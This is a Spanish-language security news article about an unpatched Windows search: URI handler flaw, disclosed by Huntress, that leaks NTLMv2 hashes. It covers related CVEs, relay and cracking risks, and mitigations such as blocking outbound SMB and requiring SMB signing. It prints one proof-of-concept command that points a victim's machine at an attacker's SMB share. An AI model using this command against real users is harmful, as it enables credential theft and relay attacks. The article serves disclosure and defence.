Huntress revela fuga de NTLMv2 vía el manejador search: en Windows

Investigadores de Huntress han publicado detalles de una vulnerabilidad sin corregir en el controlador del protocolo search: en Windows, que permite a un atacante obtener el hash NTLMv2 de la víctima. El problema es similar a la ya corregida CVE-2026-33829 en Windows Snipping Tool; sin embargo, Microsoft se ha negado a publicar una corrección, alegando que la vulnerabilidad no alcanza el umbral de gravedad Important o Critical. Se recomienda a las organizaciones que utilizan autenticación NTLM aplicar de inmediato medidas compensatorias: bloquear el tráfico SMB saliente y habilitar de forma obligatoria la firma SMB.

Mecanismo de ataque: del controlador URI a la fuga del hash

La raíz del problema está en cómo Windows procesa el esquema de URI search:. Según el investigador de Huntress Andrew Schwartz, el parámetro crumb=location: acepta una ruta UNC arbitraria sin la validación adecuada. Cuando el usuario sigue un enlace especialmente diseñado, el sistema operativo inicia una conexión SMB con el servidor especificado por el atacante y, durante el proceso de autenticación, transmite el hash Net-NTLMv2 de la víctima.

Ejemplo de comando que demuestra la explotación:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

El vector de ataque requiere interacción del usuario: la víctima debe seguir un enlace especialmente formado, incrustado en una página web o en un correo electrónico, y confirmar la ejecución del controlador URI. Tras ello, el sistema se conecta automáticamente al recurso SMB del atacante, revelando el hash.

Relación con vulnerabilidades corregidas anteriormente

El problema descrito es una continuación lógica de toda una clase de vulnerabilidades relacionadas con la fuga de hashes NTLM a través de controladores URI de Windows:

• CVE-2026-33829: vulnerabilidad similar en el controlador ms-screensketch: (Windows Snipping Tool), donde el parámetro filePath no se validaba y aceptaba rutas UNC arbitrarias. Microsoft corrigió este problema en abril de 2026, clasificándolo como una vulnerabilidad de spoofing.
• CVE-2023-35636: el uso del parámetro crumb para el robo de hashes NTLM ya fue documentado en febrero de 2024 por investigadores de Varonis en el contexto de una vulnerabilidad de Outlook.

Según la evaluación de Huntress, el nuevo problema utiliza el mismo mecanismo de fuga de NTLM, conduce al mismo resultado (exposición del hash Net-NTLMv2), presenta los mismos requisitos previos para su explotación y, presumiblemente, se corresponde con una calificación Moderate. La diferencia fundamental es que Microsoft ha decidido no publicar un parche.

Evaluación de riesgos

Un hash NTLMv2 capturado abre ante el atacante dos principales vías de desarrollo del ataque:

• Relay attacks: reenvío del hash interceptado a servicios internos para autenticarse en nombre de la víctima, sin necesidad de descifrarlo.
• Ataques de fuerza bruta offline sobre la contraseña: cuando se emplean contraseñas débiles, el hash Net-NTLMv2 puede romperse con herramientas como hashcat.

Las entornos corporativos están expuestos al mayor riesgo, especialmente allí donde NTLM sigue utilizándose para autenticación y el tráfico SMB saliente no está bloqueado en el perímetro. Conviene subrayar que, en el momento de la publicación, no hay casos confirmados de explotación de esta vulnerabilidad en ataques reales, y no figura en el catálogo CISA KEV. No obstante, la existencia de un PoC público y la ausencia de parche crean una ventana de oportunidad para los atacantes.

Recomendaciones de protección

Dado que no existe una corrección oficial de Microsoft y, a juzgar por la postura del proveedor, no se espera que se publique, es necesario aplicar medidas compensatorias a nivel de infraestructura:

1. Bloquear el tráfico SMB saliente (TCP/445 y TCP/139) en los equipos que no necesiten acceso a recursos de archivos externos. Esta es la medida más eficaz para evitar que el hash se filtre fuera de la red.
2. Habilitar de forma obligatoria la firma SMB (SMB Signing): incluso si el hash se intercepta dentro de la red, no podrá utilizarse para relay attacks contra servicios que requieran firma obligatoria.
3. Deshabilitar la autenticación NTLM allí donde sea posible, migrando a Kerberos. La Directiva de grupo Network security: Restrict NTLM permite limitar progresivamente el uso de NTLM en el dominio.
4. Supervisión de conexiones SMB anómalas: configurar alertas sobre conexiones SMB salientes hacia direcciones IP externas atípicas, lo que puede indicar un intento de explotación.

La negativa de Microsoft a publicar un parche para una vulnerabilidad con calificación Moderate no es una situación excepcional, pero traslada la responsabilidad de la protección a los administradores. La acción prioritaria debe ser el bloqueo del SMB saliente en el perímetro de la red: esta medida no solo cierra esta vulnerabilidad en concreto, sino también un amplio espectro de ataques relacionados con la autenticación NTLM forzada a través de rutas UNC. Las organizaciones que aún dependen de NTLM deberían considerar esto como un argumento adicional a favor de migrar a Kerberos.